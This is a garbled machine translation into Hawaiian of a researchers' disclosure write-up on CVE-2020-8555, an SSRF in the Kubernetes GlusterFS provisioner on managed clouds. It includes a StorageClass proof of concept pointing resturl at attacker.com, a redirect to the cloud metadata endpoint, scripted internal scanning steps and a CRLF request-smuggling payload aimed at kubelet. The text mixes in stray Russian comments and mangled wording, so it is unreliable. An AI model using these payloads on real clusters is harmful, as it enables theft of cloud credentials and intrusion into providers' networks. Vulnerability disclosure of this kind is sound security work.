Inā ʻaʻole ia e pili ana i nā nāwaliwali o Kubernetes ...

Nānā. unuhi.: nā mea kākau o kēia ʻatikala e kamaʻilio kikoʻī e pili ana i ka hiki ʻana iā lākou ke ʻike i ka nāwaliwali CVE-2020–8555 ma Kubernetes. ʻOiai i ka wā mua ʻaʻole ia he mea weliweli loa, i ka hui pū ʻana me nā mea ʻē aʻe, ua lilo kona koʻikoʻi i mea kiʻekiʻe loa no kekahi mau mea hoʻolako kapua. Nui nā hui i uku nui i nā loea no kā lākou hana.

Inā ʻaʻole ia e pili ana i nā nāwaliwali o Kubernetes ...

ʻO wai mākou

ʻElua mākou mau mea noiʻi palekana Farani i ʻike pū i kahi nāwaliwali ma Kubernetes. ʻO ko mākou mau inoa ʻo Brice Augras lāua ʻo Christophe Hauquiert, akā ma nā kahua he nui Bug Bounty ua ʻike ʻia mākou ʻo Reeverzax a me Hach.

He aha i hana ai?

ʻO kēia ʻatikala kā mākou ala e kaʻana like ai i ka huli ʻana o kahi papahana noiʻi maʻamau i kahi huakaʻi hoihoi loa i ke ola o nā mea hahai holoholona (ma ka liʻiliʻi loa i kēia manawa).

E like me kāu e ʻike ai, loaʻa i nā mea hahai holoholona kekahi mau hiʻohiʻona kaulana:

  • noho lākou i ka pizza a me ka pia;
  • hana lākou i ka wā e hiamoe ana nā mea ʻē aʻe.

ʻAʻole mākou he ʻokoʻa i kēia mau lula: hui pinepine mākou i nā hopena pule a hoʻopau i nā pō hiamoe ʻole. Akā, ua pau kekahi o kēia mau pō ma ke ʻano maʻamau.

I ka wā mua e hele ana mākou e hui e kūkākūkā i ke komo ʻana CTF i ka lā aʻe. I ke kamaʻilio ʻana e pili ana i ka palekana o Kubernetes i kahi ʻoihana lawelawe hoʻokele, hoʻomanaʻo mākou i ka manaʻo kahiko o SSRF (Noi hoopunipuni ma ka aoao kikowaena) a ua hoʻoholo e hoʻohana iā ia ma ke ʻano he palapala hoʻouka.

Ma ka hola 11 pm, noho mākou e hana i kā mākou noiʻi a moe i ke kakahiaka nui, ʻoluʻolu loa i nā hopena. Ma muli o kēia noiʻi ʻana mākou i ʻike ai i ka papahana MSRC Bug Bounty a ua loaʻa iā mākou kahi hana hoʻonui pono.

Ua hala kekahi mau pule a me nā mahina, a ʻo kā mākou hopena i manaʻo ʻole ʻia i loaʻa i kekahi o nā makana kiʻekiʻe loa ma ka mōʻaukala o ka Azure Cloud Bug Bounty - ma kahi o ka mea i loaʻa iā mākou mai Kubernetes!

Ma muli o kā mākou papahana noiʻi, ua paʻi ʻia ke Kōmike Palekana Huahana Kubernetes CVE-2020–8555.

I kēia manawa makemake wau e hoʻolaha i ka ʻike e pili ana i ka nāwaliwali i ʻike ʻia e like me ka hiki. Manaʻo mākou e mahalo ʻoe i ka ʻike a kaʻana like i nā kikoʻī ʻenehana me nā lālā ʻē aʻe o ke kaiāulu infosec!

No laila, eia kā mākou moʻolelo...

Pōʻaiapili

I mea e ʻike pono ai i ka mea i hana ʻia, e nānā mua kākou i ke ʻano o ka hana ʻana o Kubernetes i kahi kaiapuni i mālama ʻia i ke ao.

Ke hoʻomaka koke ʻoe i kahi pūʻulu Kubernetes i kēlā ʻano kaiapuni, ʻo ka papa hoʻokele ke kuleana maʻamau o ka mea hāʻawi kapua:

Inā ʻaʻole ia e pili ana i nā nāwaliwali o Kubernetes ...
Aia ka papa hoʻomalu ma ka ʻāpana o ka mea hāʻawi ao, ʻoiai aia nā node Kubernetes ma ka ʻāpana o ka mea kūʻai.

No ka hoʻokaʻawale ikaika ʻana i nā leo, hoʻohana ʻia kahi mīkini e hoʻolako ikaika iā lākou mai kahi hoʻopaʻa ʻana o waho a hoʻohālikelike iā lākou me PVC (ke koi hoʻomau mau, ʻo ia hoʻi he noi no kahi leo).

No laila, ma hope o ka hana ʻia ʻana o ka PVC a hoʻopaʻa ʻia i ka StorageClass i ka hui K8s, lawe ʻia nā hana hou aku e hoʻolako i ka leo e ke kube / cloud controller manager (ʻo kona inoa pololei e pili ana i ka hoʻokuʻu ʻana). (Nānā. unuhi.: Ua kākau mua mākou e pili ana i ka CCM me ka hoʻohana ʻana i ka laʻana o kāna hoʻokō ʻana no kekahi o nā mea hoʻolako kapua maanei.)

Nui nā ʻano mea hoʻolako i kākoʻo ʻia e Kubernetes: ua hoʻokomo ʻia ka hapa nui o lākou kumu orkestra, aʻo nā mea ʻē aʻe e mālama ʻia e nā mea hoʻolako ʻē aʻe i waiho ʻia i loko o nā pods i ka pūʻulu.

I kā mākou noiʻi, ua nānā mākou i ka mīkini hoʻolako volume kūloko, i hōʻike ʻia ma lalo nei:

Inā ʻaʻole ia e pili ana i nā nāwaliwali o Kubernetes ...
ʻO ka hoʻolako ʻana i nā puke me ka hoʻohana ʻana i ka mea hoʻolako Kubernetes i kūkulu ʻia

I ka pōkole, ke kau ʻia ʻo Kubernetes i loko o kahi kaiapuni i hoʻokele ʻia, ʻo ka luna hoʻomalu ke kuleana o ka mea hāʻawi kapuaʻi, akā ʻo ka noi hoʻokumu leo ​​(helu 3 ma ka kiʻi ma luna) e haʻalele i ka pūnaewele kūloko o ka mea hāʻawi kapua. A ʻo kēia kahi e hoihoi nui ai nā mea!

Hanana hacking

Ma kēia ʻāpana, e wehewehe mākou pehea mākou i hoʻohana pono ai i ke kaʻina hana i ʻōlelo ʻia ma luna nei a komo i nā kumuwaiwai kūloko o ka mea lawelawe ʻoihana kapua. E hōʻike pū ia iā ʻoe pehea e hiki ai iā ʻoe ke hana i kekahi mau hana, e like me ka loaʻa ʻana o nā hōʻoia kūloko a i ʻole ka piʻi ʻana o nā pono.

Hoʻokahi hana maʻalahi (ma kēia hihia, Service Side Request Forgery) i kōkua i ka hele ʻana ma waho o ke kaiapuni o ka mea kūʻai aku i loko o nā pūʻulu o nā mea lawelawe like ʻole ma lalo o nā K8 hoʻokele.

I kā mākou noiʻi ʻana ua kālele mākou i ka mea hoʻolako GlusterFS. ʻOiai ʻo ka wehewehe ʻana i ke kaʻina hana hou aʻe i kēia pōʻaiapili, hiki i ka Quobyte, StorageOS a me ScaleIO ke maʻalahi i ka nāwaliwali like.

Inā ʻaʻole ia e pili ana i nā nāwaliwali o Kubernetes ...
Hoʻohana ʻino i ka mīkini hoʻolako leo ikaika

I ka wā o ka hoʻopaʻa ʻana papa GlusterFS i ka Golang client source code mākou ʻike ʻiama ka noi HTTP mua (3) i hoʻouna ʻia i ka wā o ka hoʻokumu ʻana i ka leo, i ka hopena o ka URL maʻamau i ka ʻāpana resturl hoʻohui ʻia /volumes.

Ua hoʻoholo mākou e kāpae i kēia ala hou ma ka hoʻohui ʻana # ma ka palena resturl. Eia ka hoʻonohonoho YAML mua a mākou i hoʻohana ai e hoʻāʻo no kahi nāwaliwali SSRF semi-makapō (hiki iā ʻoe ke heluhelu hou aʻe e pili ana i ka SSRF semi-makapō a hapa makapō paha, no ka laʻana, maanei - kokoke. unuhi.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

A laila hoʻohana mākou i ka binary e hoʻokele mamao i ka pūʻulu Kubernetes kubectl. ʻO ka maʻamau, ʻae nā mea hoʻolako kapua (Azure, Google, AWS, etc.) iā ʻoe e kiʻi i nā hōʻoia no ka hoʻohana ʻana i kēia pono.

Mahalo i kēia, ua hiki iaʻu ke hoʻohana i kaʻu faila "kūikawā". Ua hoʻokō ʻo Kube-controller-manager i ka hopena HTTP noi:

kubectl create -f sc-poc.yaml

Inā ʻaʻole ia e pili ana i nā nāwaliwali o Kubernetes ...
ʻO ka pane mai ka manaʻo o ka mea hoʻouka

Ma hope koke iho o kēia, ua hiki nō iā mākou ke loaʻa i kahi pane HTTP mai ka server i hoʻopaʻa ʻia - ma o nā kauoha describe pvc ai ole ia, get events i kubectl. A ʻoiaʻiʻo: ʻo kēia mea hoʻokele Kubernetes paʻamau i ʻōlelo ʻole ʻia i kāna mau ʻōlelo aʻo / hewa ...

Eia kekahi laʻana me kahi loulou i https://www.google.frhoʻonoho ʻia ma ke ʻano he ʻāpana resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Inā ʻaʻole ia e pili ana i nā nāwaliwali o Kubernetes ...

Ma kēia ala, ua kaupalena ʻia mākou i nā nīnau like HTTP POST a ʻaʻole hiki ke loaʻa nā mea i loko o ke kino pane inā ʻo ke code hoʻihoʻi 201. No laila, ua hoʻoholo mākou e hana i nā noiʻi hou aʻe a hoʻonui i kēia hiʻohiʻona hacking me nā ala hou.

ʻO ka ulu ʻana o kā mākou noiʻi

  • Kūlana Kiʻekiʻe #1: Ke hoʻohana nei i kahi 302 redirect mai kahi kikowaena waho e hoʻololi i ke ala HTTP e hāʻawi i kahi ala maʻalahi e hōʻiliʻili i ka ʻikepili kūloko.
  • Kūlana Kiʻekiʻe #2: Hoʻokaʻawale i ka nānā ʻana i ka LAN a me ka ʻike waiwai kūloko.
  • Hōʻike kūlana kiʻekiʻe #3: me ka hoʻohana ʻana i ka HTTP CRLF + smuggling ("noi smuggling") e hana i nā noi HTTP kūpono a kiʻi i ka ʻikepili i unuhi ʻia mai nā lāʻau kube-controller.

Nā Kūlana ʻenehana

  • Ua hoʻohana ka noiʻi iā Azure Kubernetes Service (AKS) me Kubernetes version 1.12 ma ka ʻāina ʻo ʻEulopa ʻĀkau.
  • Ua hoʻokō ʻia nā hiʻohiʻona i hōʻike ʻia ma luna ma nā mea hou loa o Kubernetes, koe naʻe ke kolu o ke ʻano, no ka mea pono ʻo ia i kūkulu ʻia nā Kubernetes me ka mana Golang ≤ 1.12.
  • Ke kikowaena waho o Attacker - https://attacker.com.

Kūlana Kiʻekiʻe #1: Hoʻohuli hou i kahi noi HTTP POST e GET a loaʻa i ka ʻikepili koʻikoʻi

Ua hoʻomaikaʻi ʻia ke ʻano kumu mua e ka hoʻonohonoho ʻana o ke kikowaena o ka mea hoʻouka e hoʻi 302 HTTP Retcodee hoʻololi i kahi noi POST i kahi noi GET (ʻanuʻu 4 ma ke kiʻikuhi):

Inā ʻaʻole ia e pili ana i nā nāwaliwali o Kubernetes ...

Noi mua (3) mai ka mea kūʻai mai GlusterFS (Manakia Mana), he ʻano POST. Ma ka hahai ʻana i kēia mau ʻanuʻu ua hiki iā mākou ke hoʻololi iā ia i GET:

  • Ma ke ʻano he ʻāpana resturl ma StorageClass ua hōʻike ʻia http://attacker.com/redirect.php.
  • Hopena https://attacker.com/redirect.php pane me ka 302 HTTP code kūlana me kēia wahi Header: http://169.254.169.254. Hiki paha kēia i nā kumuwaiwai kūloko ʻē aʻe - i kēia hihia, hoʻohana wale ʻia ka loulou hoʻihoʻi ma ke ʻano he laʻana.
  • ma ka paʻamau net/http waihona Hoʻihoʻi hou ʻo Golang i ka noi a hoʻololi i ka POST i kahi GET me kahi code status 302, e loaʻa ana kahi noi HTTP GET i ke kumu waiwai.

No ka heluhelu ʻana i ke kino pane HTTP pono ʻoe e hana describe Mea PVC:

kubectl describe pvc xxx

Eia kekahi laʻana o kahi pane HTTP ma JSON format i hiki iā mākou ke loaʻa:

Inā ʻaʻole ia e pili ana i nā nāwaliwali o Kubernetes ...

Ua kaupalena ʻia nā hiki o ka mea haʻahaʻa i loaʻa i kēlā manawa ma muli o kēia mau mea:

  • ʻAʻole hiki ke hoʻokomo i nā poʻomanaʻo HTTP i ka noi puka.
  • ʻAʻole hiki ke hana i kahi noi POST me nā ʻāpana i loko o ke kino (maʻalahi kēia e noi i ke kumu waiwai mai kahi mea etcd e holo ana ma luna. 2379 awa inā hoʻohana ʻia ʻo HTTP unencrypted).
  • ʻAʻole hiki ke kiʻi i ka ʻike kino pane i ka wā he 200 ke kūlana kūlana a ʻaʻohe JSON Content-Type ka pane.

ʻO ke kūlana kiʻekiʻe #2: Ke nānā nei i ka pūnaewele kūloko

Ua hoʻohana ʻia kēia ʻano SSRF hapa makapō e nānā i ka pūnaewele kūloko o ka mea hāʻawi kapua a koho i nā lawelawe hoʻolohe like ʻole (Metadata instance, Kubelet, etcd, etc.) ma muli o nā pane. mea hoʻoponopono kube.

Inā ʻaʻole ia e pili ana i nā nāwaliwali o Kubernetes ...

ʻO ka mua, ua hoʻoholo ʻia nā awa hoʻolohe maʻamau o nā ʻāpana Kubernetes (8443, 10250, 10251, a me nā mea ʻē aʻe), a laila pono mākou e hoʻokaʻawale i ke kaʻina hana scan.

I ka ʻike ʻana he kikoʻī loa kēia ʻano o ka nānā ʻana i nā kumuwaiwai a ʻaʻole kūpono me nā scanners maʻamau a me nā mea hana SSRF, ua hoʻoholo mākou e hana i kā mākou mau limahana ponoʻī i kahi palapala bash e hoʻokaʻawale i ke kaʻina holoʻokoʻa.

No ka laʻana, i mea e nānā wikiwiki ai i ka laulā 172.16.0.0/12 o ka pūnaewele i loko, ua hoʻokuʻu ʻia nā limahana 15 i ka like. Ua koho ʻia ka laulā IP ma luna ma ke ʻano he laʻana wale nō a hiki ke hoʻololi ʻia i ka laulā IP o kāu mea lawelawe.

No ka nānā ʻana i hoʻokahi IP address a me hoʻokahi awa, pono ʻoe e hana i kēia:

  • holoi i ka StorageClass i nānā hope ʻia;
  • e wehe i ke koi koi hoomau i hooiaio mua ia;
  • hoʻololi i nā waiwai IP a me Port ma sc.yaml;
  • hana i kahi StorageClass me kahi IP hou a me ke awa;
  • hana i kahi PVC hou;
  • e wehe i nā hopena scan me ka wehewehe no PVC.

Hōʻike kūlana kiʻekiʻe #3: CRLF injection + smuggling HTTP ma nā mana "kahiko" o ka hui Kubernetes

Inā hoʻohui i kēia, hāʻawi ka mea hāʻawi i nā mea kūʻai aku i nā mana kahiko o ka hui K8s и hāʻawi iā lākou i ke komo i nā lāʻau kube-controller-manager, ua ʻoi aku ka nui o ka hopena.

ʻOi aku ka maʻalahi o ka mea hoʻouka e hoʻololi i nā noi HTTP i hoʻolālā ʻia e kiʻi i kahi pane HTTP piha ma kāna ʻano.

Inā ʻaʻole ia e pili ana i nā nāwaliwali o Kubernetes ...

No ka hoʻokō ʻana i ke ʻano hope, pono e hoʻokō ʻia nā kūlana aʻe:

  • Pono ka mea hoʻohana e komo i nā kube-controller-manager logs (e like me ka laʻana, ma Azure LogInsights).
  • Pono ka pūʻulu Kubernetes e hoʻohana i kahi mana o Golang ma lalo o 1.12.

Ua hoʻolālā mākou i kahi kaiapuni kūloko i hoʻohālikelike i ka kamaʻilio ma waena o ka mea kūʻai aku ʻo GlusterFS Go a me kahi kikowaena pahuhopu hoʻopunipuni (e hōʻole mākou i ka hoʻolaha ʻana i ka PoC i kēia manawa).

Ua loaʻa palupalu, e pili ana i nā mana Golang ma lalo o 1.12 a me ka ʻae ʻana i ka poʻe hackers e hoʻokō i nā hōʻeha HTTP smuggling/CRLF.

Ma ka hoʻohui ʻana i ka SSRF hapa makapō i hōʻike ʻia ma luna hui pū me kēia, ua hiki iā mākou ke hoʻouna i nā noi e like me kā mākou makemake, me ka hoʻololi ʻana i nā poʻomanaʻo, ke ʻano HTTP, nā ʻāpana a me nā ʻikepili, i hana ʻia e kube-controller-manager.

Eia kahi laʻana o kahi "maunu" hana ma kahi ʻāpana resturl StorageClass, e hoʻokō ana i kahi ʻano hoʻouka kaua like:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

He hewa ka hopena pane i noi ʻole ʻia, he memo e pili ana i ka mea i hoʻopaʻa ʻia i loko o nā log control. Mahalo i ka verbosity i hoʻohana ʻia e ka paʻamau, mālama ʻia nā ʻike o ka memo pane HTTP ma laila.

Inā ʻaʻole ia e pili ana i nā nāwaliwali o Kubernetes ...

ʻO kēia kā mākou "maunu" maikaʻi loa i loko o ke kahua o ka hōʻoia o ka manaʻo.

Ke hoʻohana nei i kēia ala, ua hiki iā mākou ke hoʻokō i kekahi o nā hoʻouka ʻana ma luna o nā pūʻulu o nā mea hoʻolako k8s i hoʻokele ʻia: ka piʻi ʻana o ka pono me nā hōʻoia i nā manawa metadata, Master DoS ma o (unencrypted) HTTP noi ma etcd master instances, etc.

Nā hopena

Ma ka ʻōlelo kūhelu Kubernetes e pili ana i ka nāwaliwali o SSRF a mākou i ʻike ai, ua helu ʻia CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Inā mākou e noʻonoʻo wale i ka nāwaliwali e pili ana i ka ʻāpana Kubernetes, ka vector integrity (vector hoʻopono) kūpono ia e like me None.

Eia naʻe, ʻo ka loiloi ʻana i nā hopena e hiki mai ana i loko o ka pōʻaiapili o kahi kaiapuni lawelawe mālama ʻia (a ʻo ia ka mea hoihoi loa o kā mākou noiʻi!) CVSS koʻikoʻi10/10 no nā mea hoʻolaha he nui.

Aia ma lalo ka ʻike hou aʻe e kōkua iā ʻoe e hoʻomaopopo i kā mākou noʻonoʻo ʻana i ka wā e loiloi ai i nā hopena e hiki mai ana i nā kaiapuni ao:

Pono pono

  • E hoʻokō i nā kauoha mamao me ka hoʻohana ʻana i nā hōʻoia kūloko i loaʻa.
  • Hoʻopuka hou i ka hiʻohiʻona i luna me ke ʻano IDOR (Insecure Direct Object Reference) me nā kumuwaiwai ʻē aʻe i loaʻa ma ka pūnaewele kūloko.

Palekana

  • ʻAno hoʻouka ʻOhana Kaha mahalo i ka ʻaihue ʻana i nā hōʻoia o ke ao (no ka laʻana, metadata API).
  • E hōʻiliʻili i ka ʻike ma ka nānā ʻana i ka pūnaewele kūloko (e hoʻoholo ana i ka mana SSH, mana kikowaena HTTP, ...).
  • E hōʻiliʻili i ka ʻike hoʻohālike a me ka ʻikepili ma ke koho balota ʻana i nā API kūloko e like me ka metadata API (http://169.254.169.254,…).
  • ʻAhuehue i ka ʻikepili o ka mea kūʻai aku me ka hoʻohana ʻana i nā hōʻoia ao.

Loaʻa

ʻO nā hiʻohiʻona hoʻohana āpau e pili ana i ka hoʻouka ʻana i nā vectors ma pono, hiki ke hoʻohana ʻia no nā hana hoʻopōʻino a alakaʻi i nā kumu kumu mai ka perimeter o ka mea kūʻai aku (a i ʻole nā ​​​​mea ʻē aʻe) i loaʻa ʻole.

No ka mea aia mākou i loko o kahi kaiapuni K8 i hoʻokele ʻia a nānā i ka hopena i ka pono, hiki iā mākou ke noʻonoʻo i nā hiʻohiʻona he nui e hiki ke hoʻopilikia i ka loaʻa. ʻO nā hiʻohiʻona hou e pili ana i ka hōʻino ʻana i ka waihona etcd a i ʻole ke kāhea ʻana i kahi kelepona koʻikoʻi i ka Kubernetes API.

Kahi manawa

  • Kekemapa 6, 2019: Ua hōʻike ʻia ka Vulnerability iā MSRC Bug Bounty.
  • Ianuali 3, 2020: Ua haʻi aku kekahi ʻaoʻao ʻekolu i nā mea hoʻomohala Kubernetes e hana ana mākou i kahi pilikia palekana. A noi aku iā lākou e noʻonoʻo i ka SSRF ma ke ʻano he nāwaliwali o loko (in-core). A laila hāʻawi mākou i kahi hōʻike maʻamau me nā kikoʻī loea e pili ana i ke kumu o ka pilikia.
  • Ianuali 15, 2020: Hāʻawi mākou i nā hōʻike loea a me ka laulā i nā mea hoʻomohala Kubernetes ma kā lākou noi (ma o ka pae HackerOne).
  • Ianuali 15, 2020: Ua haʻi mai nā mea hoʻomohala Kubernetes iā mākou i ka hapalua makapō SSRF + CRLF injection no nā hoʻokuʻu i hala ua manaʻo ʻia he palupalu i loko. Ua ho'ōki koke mākou i ka nānā ʻana i nā perimeter o nā mea lawelawe ʻē aʻe: ke hana nei ka hui K8s i ke kumu kumu.
  • Ianuali 15, 2020: Loaʻa ka makana MSRC ma o HackerOne.
  • Ianuali 16, 2020: Ua ʻike ʻo Kubernetes PSC (Product Security Committee) i ka nāwaliwali a noi ʻo ia e hūnā a hiki i ka waena o Malaki ma muli o ka nui o nā mea i hōʻeha ʻia.
  • Pepeluali 11, 2020: Loaʻa ka makana Google VRP.
  • Malaki 4, 2020: Loaʻa ka uku Kubernetes ma o HackerOne.
  • Malaki 15, 2020: Ua hoʻopanee ʻia ka hoʻolaha ʻana i ka lehulehu ma muli o ke kūlana COVID-19.
  • Iune 1, 2020: Kubernetes + Microsoft ʻōlelo hui e pili ana i ka nāwaliwali.

Aku; DR

  • Inu mākou i ka pia a ʻai i ka pizza :)
  • Ua ʻike mākou i kahi nāwaliwali i loko o Kubernetes, ʻoiai ʻaʻohe o mākou manaʻo e hana pēlā.
  • Ua alakaʻi mākou i ka nānā ʻana i nā pūʻulu o nā mea hāʻawi kapuaʻi like ʻole a hiki iā mākou ke hoʻonui i ka pōʻino i hoʻokumu ʻia e ka nāwaliwali e loaʻa i nā bonus maikaʻi ʻē aʻe.
  • E ʻike ʻoe i nā kikoʻī loea i kēia ʻatikala. E hauʻoli mākou e kūkākūkā me ʻoe (Twitter: @ReeverZax & @__hach_).
  • Ua ʻike ʻia ua lōʻihi loa nā ʻano hana a me ka hōʻike ʻana ma mua o ka mea i manaʻo ʻia.

kūmole

PS mai ka unuhi

E heluhelu pū ma kā mākou blog:

Source: www.habr.com

Pākuʻi i ka manaʻo hoʻopuka